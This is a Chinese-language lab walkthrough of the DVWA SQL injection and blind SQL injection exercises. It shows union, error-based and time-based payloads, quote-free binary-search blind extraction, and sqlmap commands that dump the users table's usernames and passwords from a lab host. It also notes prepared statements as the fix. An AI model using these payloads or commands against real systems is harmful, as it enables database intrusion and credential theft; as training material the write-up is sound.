sql注入
easy
单引号闭合 id=2' and if(1=1,sleep(3),1) and '1'='1 联合注入: id=2' union select database(),user() --+ 报错注入: id=2' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
medium
mysql_real_escape_string() 调用 mysql 库的函数 mysql_real_escape_string, 在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a. 数字无闭合 id=1 and if(1=1,sleep(1),1) 报错注入 id=2-(updatexml(1,concat(0x7e,database(),0x7e),1)) 联合注入 id=2 union select database(),user()
high
表单和回显不在同一页面,不过对我们来说问题不大 单引号闭合 1' and if(1=1,sleep(1),1) and '1'='1 联合注入: id=0' union select user(),2 and '1'='1 id=0' union select concat(database(),0x7e,user()),2 and '1'='1 报错注入: id=2' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
impossible
对id进行检查,id是否为数字 使用预处理的方式进行sql操作
sql盲注easy
使用之前写的脚本爆出来的内容:
当然这个脚本是学习sql注入期间写的,不进行任何功能性和稳定性维护,况且我也不懂什么高内聚、低耦合,没把它做成一个大型工具,总的来说,虽然这个工具花费我1天时间完成,但不影响它是个史,我们来使用sqlmap,开始梭哈
先夸夸sqlmap,因为真正经历过sql注入脚本的开发,绝对不是打广告: 1.高度自动化,几乎从扫描阶段到渗透阶段都是自动化完成的 2.高度自定义,自定义AGENT或HEADER等只要是数据包内容都可以自定义,而且可以提供一个数据包文件自动进行注入 3.功能繁多且强大,绕过waf、使用代理、udf提取很多很多等 4.持续性维护
爆数据库: sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --dbs --batch --proxy=http://127.0.0.1:8080/
报表: sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --batch --proxy=http://127.0.0.1:8080/ -D dvwa -tables
爆字段: sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --batch --proxy=http://127.0.0.1:8080/ -D dvwa -T users -columns
sqlmap -u "http://www.oswe.com/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --headers="Cookie: security=low; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg" --batch --proxy=http://127.0.0.1:8080/ -D dvwa -T users -C "user,password" -dump
sql盲注medium
medium模式将单双引号给处理了,如下mysql_real_escape_string() 调用 mysql 库的函数 mysql_real_escape_string, 在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a.但是这是数字无闭合的,但凡是有引号闭合的,第一步就直接死了,id=1 and 1=1 # 测试既然是数字无闭合,那如何在这种情况下,在爆表和字段的时候也避免使用引号呢?答:使用二分查找法其实可以避免使用引号,因为ascii编码不需要使用引号来判断字符,二分查找法类似猜数字同时使用16进制对字符进行编码,整个过程如下爆数据库长度及数据库(int_foo表示二分查找法猜的数字)(char_foo表示要猜的字符的ascii码值)(int_foo2表示从0开始的数字,因为猜字符是从第1位开始猜,比如"dvwa"中的'd'):1 and int_foo>length(database()) # 数据库长度1 and char_foo>ascii(substr(database(),int_foo2,1))爆表长度及表名:1 and int_foo>(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema=" + hex_str(db_result) + ")"1 and char_foo>ascii(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=" + hex_str(db_result) + "),int_foo2,1))可以看到以上payload没有使用任何一个引号就能完成报表和数据库,接下来爆字段和数据也类似 如果你要开发一个sql注入工具必须要采用以上的思路,我爆出的数据如下:
当然我们要使用sqlmap也要跑一下
抓包保存到名raj文件,raj内容参考如下: sqlmap -r raj --dbs -batch
开始梭哈: sqlmap -r raj -dbs --batch sqlmap -r raj --batch -D dvwa -tables sqlmap -r raj --batch -D dvwa -T users -columns --proxy=http://127.0.0.1:8080 sqlmap -r raj --batch -D dvwa -T users -C "user,password" -dump --proxy=http://127.0.0.1:8080
sql盲注high
这一次注入点在cookie中,保存数据包为raj2 GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1 Host: www.oswe.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.oswe.com/dvwa/security.php Connection: close Cookie: id=2; security=high; PHPSESSID=vatu6mod78tfhn8r2kqni2i4bg Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache 原因是:/dvwa/vulnerabilities/sqli_blind/cookie-input.php 这个页面提供查询接口,然后这个网页再携带cookie向/dvwa/vulnerabilities/sqli_blind/发送如上请求,后/dvwa/vulnerabilities/sqli_blind/再回显结果 那我们只需要构造如上请求即可 sqlmap -r raj2 -dbs --batch --level=5 -risk=3 -dbms=mysql sqlmap -r raj2 --batch --level=5 -risk=3 -dbms mysql -D dvwa -tables sqlmap -r raj2 --batch --level=5 -dbms mysql -D dvwa -T users -columns sqlmap -r raj2 --batch --level=5 -dbms mysql -D dvwa -T users -C "user,password" -dump
sql盲注impossible
对id进行检查,id是否为数字并且使用预处理的方式进行sql操作